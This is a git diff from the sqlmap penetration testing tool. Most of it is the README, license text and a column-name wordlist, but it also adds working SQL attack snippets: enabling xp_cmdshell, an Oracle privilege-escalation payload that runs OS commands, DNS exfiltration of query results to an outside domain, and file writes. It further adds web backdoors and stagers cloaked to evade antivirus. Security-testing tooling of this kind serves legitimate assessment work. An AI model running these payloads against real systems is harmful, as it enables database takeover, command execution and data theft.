concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS diff --git a/README.md b/README.md index 40f61d7e34d..e85b3a04359 100644 --- a/README.md +++ b/README.md @@ -1,67 +1,80 @@ -# Introduction +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -# Features +sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. -* Full support for **MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB** database management systems. -* Full support for six SQL injection techniques: **boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band**. -* Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name. -* Support to enumerate **database users, users' password hashes, users' privileges, users' roles, databases, tables and columns**. -* Automatic recognition of password hash formats and support for **cracking them using a dictionary-based attack**. -* Support to **dump database tables** entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry. -* Support to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass. -* Support to **download and upload any file** from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -* Support to **execute arbitrary commands and retrieve their standard output** on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -* Support to **establish an out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. -* Support for **database process' user privilege escalation** via Metasploit's Meterpreter `getsystem` command. +Screenshots +---- -# Download +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master). +You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. -Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: -``` -git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -``` - -This is strongly recommended before reporting any bug to the [mailing list](#mailing-list). - -# Documentation - -* sqlmap [user's manual](https://github.com/sqlmapproject/sqlmap/raw/master/doc/README.pdf). -* sqlmap [ChangeLog](https://raw.github.com/sqlmapproject/sqlmap/master/doc/ChangeLog). -* *SQL injection: Not only AND 1=1* [slides](http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated) presented by Bernardo at the 2nd Digital Security Forum in Lisbon (Portugal) on June 27th, 2009. -* *Advanced SQL injection to operating system full control* [whitepaper](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857) and [slides](http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides) presented by Bernardo at [Black Hat Europe 2009](https://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html) in Amsterdam (The Netherlands) on April 16th, 2009. -* *Expanding the control over the operating system from the database* [slides](http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database) presented by Bernardo at [SOURCE Conference](http://www.sourceconference.com/archive/) 2009 in Barcelona (Spain) on September 21st, 2009. -* *Got database access? Own the network!* [slides](http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet) presented by Bernardo at [AthCon 2010](http://www.athcon.org/archive.php) in Athens (Greece) on June 3rd, 2010. -* *sqlmap - security development in python* [slides](http://www.slideshare.net/stamparm/euro-python-2011miroslavstamparsqlmapsecuritydevelopmentinpython) presented by Miroslav at [EuroPython 2011](http://ep2011.europython.eu/) in Firenze (Italy) on June 23rd, 2011. -* *It all starts with the ' (SQL injection from attacker's point of view)* [slides](http://www.slideshare.net/stamparm/f-sec-2011miroslavstamparitallstartswiththesinglequote-9311238) presented by Miroslav at [FSec - FOI Security Symposium](http://fsec.foi.hr/) in Varazdin (Croatia) on September 23rd, 2011. -* *DNS exfiltration using sqlmap* [slides](http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281) and accompanying [whitepaper](http://www.slideshare.net/stamparm/ph-days-2012miroslavstampardataretrievaloverdnsinsqlinjectionattackspaper) titled *Data Retrieval over DNS in SQL Injection Attacks* presented by Miroslav at [PHDays 2012](http://www.phdays.com/) in Moscow (Russia) on May 31st, 2012. - -# Mailing list - -The `sqlmap-users@lists.sourceforge.net` mailing list is the preferred way to ask questions, report bugs, suggest new features and discuss with other users, [contributors](https://github.com/sqlmapproject/sqlmap/blob/master/doc/THANKS) and the [developers](#developers). To subscribe use the [online web form](https://lists.sourceforge.net/lists/listinfo/sqlmap-users). -The mailing list is archived online on [SourceForge](http://sourceforge.net/mailarchive/forum.php?forum_name=sqlmap-users), [Gmane](http://news.gmane.org/gmane.comp.security.sqlmap) and is available also via Gmane [RSS feed](http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap). - -# Developers +Installation +---- -[Bernardo Damele A. G.](mailto:bernardo@sqlmap.org) - [@inquisb](https://twitter.com/inquisb)
-[Miroslav Stampar](mailto:miroslav@sqlmap.org) - [@stamparm](https://twitter.com/stamparm) +You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). -You can contact the development team by writing to `dev@sqlmap.org`. - -# Contribute - -We are constantly seeking for people who can write some clean Python code, are up to do security research, know about web application security, database assessment and takeover, software refactoring and are motivated to join the development team. - -If this sounds interesting to you, send us your [pull requests](https://github.com/sqlmapproject/sqlmap/pulls)! - -# Donate - -sqlmap is the result of numerous hours of passionated work from a small team of computer security enthusiasts. If you appreciated our work and you want to see sqlmap kept being developed, please consider making a small donation to our efforts. - -# License +Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: -sqlmap is released under the terms of the [General Public License v2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
-sqlmap is copyrighted by its [developers](#developers). + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. + +Usage +---- + +To get a list of basic options and switches use: + + python sqlmap.py -h + +To get a list of all options and switches use: + + python sqlmap.py -hh + +You can find a sample run [here](https://asciinema.org/a/46601). +To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* User's manual: https://github.com/sqlmapproject/sqlmap/wiki +* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +Translations +---- + +* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) +* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) +* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) +* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) +* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) +* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) +* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) +* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) +* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) +* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) +* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) +* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) +* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) diff --git a/_sqlmap.py b/_sqlmap.py deleted file mode 100755 index 7b5e935ec6a..00000000000 --- a/_sqlmap.py +++ /dev/null @@ -1,125 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import os -import sys -import time -import traceback -import warnings - -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) -warnings.filterwarnings(action="ignore", category=DeprecationWarning) - -try: - import psyco - psyco.full() - psyco.profile() -except ImportError: - pass - -from lib.controller.controller import start -from lib.core.common import banner -from lib.core.common import dataToStdout -from lib.core.common import getUnicode -from lib.core.common import setPaths -from lib.core.common import weAreFrozen -from lib.core.data import cmdLineOptions -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.common import unhandledExceptionMessage -from lib.core.exception import exceptionsTuple -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapUserQuitException -from lib.core.option import init -from lib.core.profiling import profile -from lib.core.settings import LEGAL_DISCLAIMER -from lib.core.testing import smokeTest -from lib.core.testing import liveTest -from lib.parse.cmdline import cmdLineParser - -def modulePath(): - """ - This will get us the program's directory, even if we are frozen - using py2exe - """ - - return os.path.dirname(getUnicode(sys.executable if weAreFrozen() else __file__, sys.getfilesystemencoding())) - -def main(): - """ - Main function of sqlmap when running from command line. - """ - - try: - paths.SQLMAP_ROOT_PATH = modulePath() - setPaths() - banner() - - dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) - dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) - - # Store original command line options for possible later restoration - cmdLineOptions.update(cmdLineParser().__dict__) - - init(cmdLineOptions) - - if conf.profile: - profile() - elif conf.smokeTest: - smokeTest() - elif conf.liveTest: - liveTest() - else: - start() - - except sqlmapUserQuitException: - errMsg = "user quit" - logger.error(errMsg) - - except sqlmapSilentQuitException: - pass - - except exceptionsTuple, e: - e = getUnicode(e) - logger.critical(e) - - except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) - - except EOFError: - print - errMsg = "exit" - logger.error(errMsg) - - except SystemExit: - pass - - except: - print - errMsg = unhandledExceptionMessage() - logger.critical(errMsg) - traceback.print_exc() - - finally: - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) - - kb.threadContinue = False - kb.threadException = True - - if conf.get("hashDB", None): - try: - conf.hashDB.flush(True) - except KeyboardInterrupt: - pass - - # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program - if conf.get("threads", 0) > 1 or conf.get("dnsServer", None): - os._exit(0) diff --git a/data/procs/README.txt b/data/procs/README.txt new file mode 100644 index 00000000000..c693f0630ff --- /dev/null +++ b/data/procs/README.txt @@ -0,0 +1,4 @@ +Files in this folder represent SQL snippets used by sqlmap on the target +system. +They are licensed under the terms of the GNU Lesser General Public License +where not specified otherwise. diff --git a/procs/mssqlserver/activate_sp_oacreate.txt b/data/procs/mssqlserver/activate_sp_oacreate.sql similarity index 100% rename from procs/mssqlserver/activate_sp_oacreate.txt rename to data/procs/mssqlserver/activate_sp_oacreate.sql diff --git a/procs/mssqlserver/configure_openrowset.txt b/data/procs/mssqlserver/configure_openrowset.sql similarity index 100% rename from procs/mssqlserver/configure_openrowset.txt rename to data/procs/mssqlserver/configure_openrowset.sql diff --git a/procs/mssqlserver/configure_xp_cmdshell.txt b/data/procs/mssqlserver/configure_xp_cmdshell.sql similarity index 77% rename from procs/mssqlserver/configure_xp_cmdshell.txt rename to data/procs/mssqlserver/configure_xp_cmdshell.sql index 349c8cf8c37..e23e4b06a48 100644 --- a/procs/mssqlserver/configure_xp_cmdshell.txt +++ b/data/procs/mssqlserver/configure_xp_cmdshell.sql @@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; -EXEC sp_configure 'show advanced options',0; +EXEC master..sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE diff --git a/data/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql new file mode 100644 index 00000000000..005730860fa --- /dev/null +++ b/data/procs/mssqlserver/create_new_xp_cmdshell.sql @@ -0,0 +1,3 @@ +DECLARE @%RANDSTR% nvarchar(999); +set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; +EXEC master..sp_executesql @%RANDSTR% diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.txt b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/disable_xp_cmdshell_2000.txt rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/dns_request.txt b/data/procs/mssqlserver/dns_request.sql similarity index 100% rename from procs/mssqlserver/dns_request.txt rename to data/procs/mssqlserver/dns_request.sql diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.txt b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/enable_xp_cmdshell_2000.txt rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql diff --git a/data/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql new file mode 100644 index 00000000000..575c22ef590 --- /dev/null +++ b/data/procs/mssqlserver/run_statement_as_user.sql @@ -0,0 +1,3 @@ +SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') +# SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') +# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') diff --git a/procs/mysql/dns_request.txt b/data/procs/mysql/dns_request.sql similarity index 100% rename from procs/mysql/dns_request.txt rename to data/procs/mysql/dns_request.sql diff --git a/data/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql new file mode 100644 index 00000000000..e879fbe4030 --- /dev/null +++ b/data/procs/mysql/write_file_limit.sql @@ -0,0 +1 @@ +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql new file mode 100644 index 00000000000..5dda762c08d --- /dev/null +++ b/data/procs/oracle/dns_request.sql @@ -0,0 +1,3 @@ +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql new file mode 100644 index 00000000000..3d66bbaf53d --- /dev/null +++ b/data/procs/oracle/read_file_export_extension.sql @@ -0,0 +1,4 @@ +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL diff --git a/procs/postgresql/dns_request.txt b/data/procs/postgresql/dns_request.sql similarity index 80% rename from procs/postgresql/dns_request.txt rename to data/procs/postgresql/dns_request.sql index dd04d86632f..6724af223cc 100644 --- a/procs/postgresql/dns_request.txt +++ b/data/procs/postgresql/dns_request.sql @@ -1,4 +1,5 @@ DROP TABLE IF EXISTS %RANDSTR1%; +# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ diff --git a/data/shell/README.txt b/data/shell/README.txt new file mode 100644 index 00000000000..4c64c411648 --- /dev/null +++ b/data/shell/README.txt @@ -0,0 +1,7 @@ +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. + +To prepare the original scripts to the cloaked form use this command: +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; + +To get back them into the original form use this: +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ new file mode 100644 index 00000000000..8d82ec3bd34 Binary files /dev/null and b/data/shell/backdoors/backdoor.asp_ differ diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ new file mode 100644 index 00000000000..4b27111e5a5 Binary files /dev/null and b/data/shell/backdoors/backdoor.aspx_ differ diff --git a/data/shell/backdoors/backdoor.cfm_ b/data/shell/backdoors/backdoor.cfm_ new file mode 100644 index 00000000000..dce65debacb Binary files /dev/null and b/data/shell/backdoors/backdoor.cfm_ differ diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ new file mode 100644 index 00000000000..c28a51a5abf Binary files /dev/null and b/data/shell/backdoors/backdoor.jsp_ differ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ new file mode 100644 index 00000000000..313b4a89b19 Binary files /dev/null and b/data/shell/backdoors/backdoor.php_ differ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ new file mode 100644 index 00000000000..424e85b64e6 Binary files /dev/null and b/data/shell/stagers/stager.asp_ differ diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ new file mode 100644 index 00000000000..acbf840bc04 Binary files /dev/null and b/data/shell/stagers/stager.aspx_ differ diff --git a/data/shell/stagers/stager.cfm_ b/data/shell/stagers/stager.cfm_ new file mode 100644 index 00000000000..8193566e523 Binary files /dev/null and b/data/shell/stagers/stager.cfm_ differ diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ new file mode 100644 index 00000000000..f1c0feb3384 Binary files /dev/null and b/data/shell/stagers/stager.jsp_ differ diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ new file mode 100644 index 00000000000..945a37e80c4 Binary files /dev/null and b/data/shell/stagers/stager.php_ differ diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt similarity index 90% rename from txt/common-columns.txt rename to data/txt/common-columns.txt index 716a46a875f..a3d425bee12 100644 --- a/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,2547 +1,2854 @@ -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -id -name -user_id -description -username -type -title -userid -group_id -first_name -itemid -category_id -firstname -code -pno -nextval -hostid -table_name -cid -email -smtp_helo -platformid -dept_id -album_id -key_ -the -child_cfg -jid -platform -expression -functionid -smtp_server -uid -clock -alarmid -alertid -private_key -actionid -triggerid -triggertemplateid -local_spi -delay -sid -mediaid -peer_cfg -smtp_email -order_id -shared_secret -itemtemplateid -certificate -insertid -role_id -song_id -item_id -product_id -blob_id -distip -artist_id -empno -customer_name -grade -branch_name -portal_id -deptno -data -rid -app_id -class -loan_number -countryid -enabled -fname -country -ename -object_id -idtype -groupid -rowid -accno -account_number -event -passwd -sequence_id -datarow -owner_id -display -pid -venue -locked -eno -serviceid -alias -categoryid -canoccupantsinvite -keyword -channel_id -loginrestrictedtonickname -registrationenabled -logenabled -ip -maxnumber -tag_id -alert_id -cananyonediscoverjid -address -sumdatarow -emp_id -ono -anyone -surname -subdomain -maxusers -ccc -datacol -os -status_id -node_id -essn -last_name -iteration -canchangenickname -canoccupantschangesubject -membersonly -created_by -succ_rate -dnumber -service_id -mid -publicroom -propvalue -empty_days -moderated -customer_id -wdatarow -persistent -authorid -patch_status_id -submitted_by -resolution_id -osvendor -routeid -arch -fid -assigned_to -ns -event_id -problem_code -city -note -channel -element_id -cat_id -position_id -schema_id -area -bug_category_id -session_id -project_id -random -nsprefix -archive_id -nsschema -view_id -pname -bug_group_id -lastname -link_id -langid -catname -bug_id -magic_string -m_id -zip -patch_category_id -custno -idcountry -stopid -identifier -category -isbn -group_project_id -extension_id -state -password -page -extension -spellid -dno -instanceof -network -priority -aname -person_id -ncbofile -student_number -term_id -uno -path_id -aid -location_id -propertyno -course_number -tid -langug_code -variable -dept_desc -orderno -ownerno -partof -clientno -white -macaddr -jobtypeid -direction -md5sum -orga_id -parentcategoryid -beginstateid -mname -qno -src -featurename -client_id -route_id -ticker -version -modulename -maty_id -currentstateid -userinfo_id -column_id -imageinfo_id -staffno -lid -metadatainfoid -context -app_title -dest -attributecategory_id -operation_type -dnum -pers_id_registerer -datasource -connectorid -our_loc -country_name -dname -capital -search_id -statechangeid -rightid -endstateid -distconnectorid -walnut -distmacaddr -pixsize -jobid -revid -match_cid -branchno -prepend_digits -stockno -ncbofileid -object_type -type_id -pubid -qagent -office -db_name -bank -dummy -storyname -col -petty -qname -store_id -inv_id -inventory -gift -cno -item -c_sec_id -row_id -price -loc_id -ssn -c_id -sname -parent -allowance -color -group_name -accounts -vendorid -gifi_accno -movie_id -rate -company -subid -commentpath -protocol_action_id -topic_id -s_id -config_id -long -link -copyright -vehicle -customerid -customer -f_id -chart_id -url -host -loans -charttype -imagefile -data_set_id -guest_ip -biosample_id -affiliation_id -os_id -street_id -book_code -object_name -start_date -form_id -itemno -provincial -confid -ratingid -drinker -qname_id -whatsdom -config_name -ship_id -investigator_id -smilies_id -cal_id -license_id -conf -contact_id -procedure_id -column_name -chromosome_id -tf_key -agent_specialtyid -users_id -gid -publisher_code -setting -format_id -word -slogan -superssn -product -referredby -operationid -ban_ip -p_id -lbl_aom_unaccessible_shipmethod -origin -comment_id -product_version -probe_id -orderdate -ordernumber -data_type_id -publisherid -lake_id -course_id -questionid -student_id -user_name -answerid -hashtag -preference_id -author_num -branch_num -derived_id -factoryid -filterid -log -pnumber -specialtyid -plugin_id -aa -file -dept_number -action_attribute_id -cpr -storeid -progenitor_id -staff_number -deptid -semester -poi_id -part_id -cell_line_id -transaction_id -agentid -regionid -token -serial_no -experimental_data_set_id 